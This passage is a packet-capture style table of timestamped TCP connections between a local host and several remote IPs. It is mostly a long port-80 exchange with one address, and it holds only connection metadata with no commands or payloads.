Nov 21, 2024 22:05:00.888026953 CET	49907	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:00.888041019 CET	443	49907	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:00.888051033 CET	49907	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:00.888056993 CET	443	49907	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:00.891911983 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.891958952 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.891966105 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.891972065 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.891993046 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.892013073 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.892193079 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.892205954 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.892244101 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.893213987 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.893227100 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.893255949 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.893273115 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.894536972 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.894578934 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.894640923 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.894664049 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.894685030 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.894706011 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.894718885 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.894799948 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.895497084 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.895539999 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.895694971 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.895792007 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.896281958 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.896326065 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.896399021 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.896436930 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.897003889 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.897046089 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.897561073 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.897624969 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.897860050 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.897912025 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.897990942 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.898037910 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.898746014 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.898888111 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.898922920 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.898955107 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.899631023 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.899672031 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.958626986 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.958684921 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.958853960 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:00.958929062 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:00.968466997 CET	443	49916	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:00.968744993 CET	49916	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:00.968767881 CET	443	49916	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:00.969824076 CET	443	49916	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:00.969890118 CET	49916	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:00.971050978 CET	49916	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:00.971121073 CET	443	49916	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:00.971333981 CET	49916	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:00.971339941 CET	443	49916	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:00.987443924 CET	49928	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:00.987468958 CET	443	49928	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:00.987672091 CET	49928	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:00.987776995 CET	49928	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:00.987791061 CET	443	49928	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:01.009762049 CET	443	49919	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.010240078 CET	49919	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.010263920 CET	443	49919	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.011148930 CET	443	49919	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.011234045 CET	49919	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.011660099 CET	49919	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.011720896 CET	443	49919	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.012070894 CET	49919	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.012078047 CET	443	49919	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.012254000 CET	49916	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.015613079 CET	443	49918	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.015764952 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.015836954 CET	49918	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.015844107 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.015852928 CET	443	49918	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.015856028 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.015896082 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.016199112 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.016249895 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.016335964 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.016446114 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.017174959 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.017294884 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.017326117 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.017352104 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.017992973 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.018050909 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.018238068 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.018290043 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.018899918 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.018954039 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.018963099 CET	443	49918	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.019011974 CET	49918	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.019068003 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.019151926 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.019351959 CET	49918	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.019416094 CET	443	49918	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.019510031 CET	49918	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.019773960 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.019788027 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.019823074 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.019840956 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.020637035 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.020690918 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.020714998 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.020754099 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.021630049 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.021682978 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.021745920 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.021934986 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.022454977 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.022505999 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.022726059 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.022773981 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.023292065 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.023418903 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.023444891 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.023463011 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.024161100 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.024204016 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.024209023 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.024250031 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.025051117 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.025108099 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.025727034 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.025778055 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.025928020 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.026035070 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.026045084 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.026089907 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.026823997 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.026876926 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.026899099 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.026937008 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.027730942 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.027812004 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.028039932 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.028081894 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.028584003 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.028789997 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.028835058 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.029534101 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.029581070 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.029620886 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.029659986 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.030411959 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.030467987 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.030538082 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.030575991 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.031266928 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.031315088 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.031438112 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.031478882 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.032298088 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.032341003 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.032494068 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.032541037 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.033026934 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.033081055 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.033097982 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.033135891 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.033921957 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.033972979 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.057662964 CET	49919	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.060244083 CET	443	49920	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.060499907 CET	49920	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.060512066 CET	443	49920	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.062231064 CET	443	49917	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.062308073 CET	443	49920	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.062402010 CET	49917	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.062410116 CET	443	49917	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.062434912 CET	49920	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.062725067 CET	49920	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.062798023 CET	443	49920	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.062886953 CET	49920	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.063298941 CET	443	49917	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.063337088 CET	443	49918	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.063358068 CET	49917	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.063508034 CET	443	49915	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.063616991 CET	49917	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.063672066 CET	443	49917	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.063749075 CET	49915	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.063780069 CET	443	49915	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.063793898 CET	49917	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.063798904 CET	443	49917	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.066993952 CET	443	49915	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.067054987 CET	49915	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.067327976 CET	49915	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.067379951 CET	443	49915	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.067429066 CET	49915	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.072840929 CET	49918	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.072856903 CET	443	49918	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.083257914 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.083285093 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.083319902 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.083338022 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.103322029 CET	443	49920	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.103825092 CET	49917	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.103981972 CET	49920	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.103988886 CET	443	49920	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.111330986 CET	443	49915	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.120748997 CET	49918	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.120748997 CET	49915	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.120764971 CET	443	49915	23.44.133.11	192.168.2.7
Nov 21, 2024 22:05:01.140650034 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.140743971 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.140758038 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.140790939 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.141144037 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.141187906 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.141356945 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.141397953 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.142009020 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.142072916 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.142179966 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.142213106 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.142884016 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.142924070 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.142970085 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.143161058 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.143786907 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.143891096 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.144301891 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.144341946 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.144648075 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.144689083 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.144927025 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.144964933 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.145587921 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.145629883 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.145652056 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.145867109 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.146423101 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.146461964 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.146534920 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.146574974 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.147357941 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.147402048 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.147479057 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.147516966 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.148247004 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.148297071 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.148394108 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.148439884 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.149065971 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.149106026 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.149173975 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.149210930 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.149925947 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.149966002 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.150170088 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.150202036 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.150818110 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.150857925 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.150875092 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.150907993 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.151745081 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.151799917 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.151858091 CET	49920	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.151933908 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.151976109 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.152625084 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.152669907 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.153168917 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.153269053 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.153481960 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.153522015 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.153695107 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.153762102 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.154412031 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.154467106 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.154486895 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.154525042 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.155277014 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.155288935 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.155318975 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.155335903 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.156114101 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.156153917 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.156490088 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.156527996 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.157026052 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.157067060 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.157279968 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.157357931 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.157897949 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.157938004 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.158303022 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.158354044 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.158761978 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.158807039 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.159157038 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.159193993 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.159704924 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.159887075 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.159940004 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.159976006 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.160559893 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.160598993 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.160698891 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.160752058 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.161433935 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.161473989 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.161721945 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.161770105 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.162348032 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.162386894 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.162463903 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.162501097 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.163203001 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.163243055 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.163480043 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.163520098 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.164081097 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.164122105 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.164241076 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.164278984 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.164994955 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.165038109 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.165198088 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.165239096 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.165841103 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.165875912 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.165910006 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.165951967 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.166763067 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.166814089 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.167125940 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.167423010 CET	49915	443	192.168.2.7	23.44.133.11
Nov 21, 2024 22:05:01.167443037 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.167603970 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.167749882 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.167944908 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:05:01.167978048 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:05:01.179774046 CET	443	49910	104.208.16.90	192.168.2.7
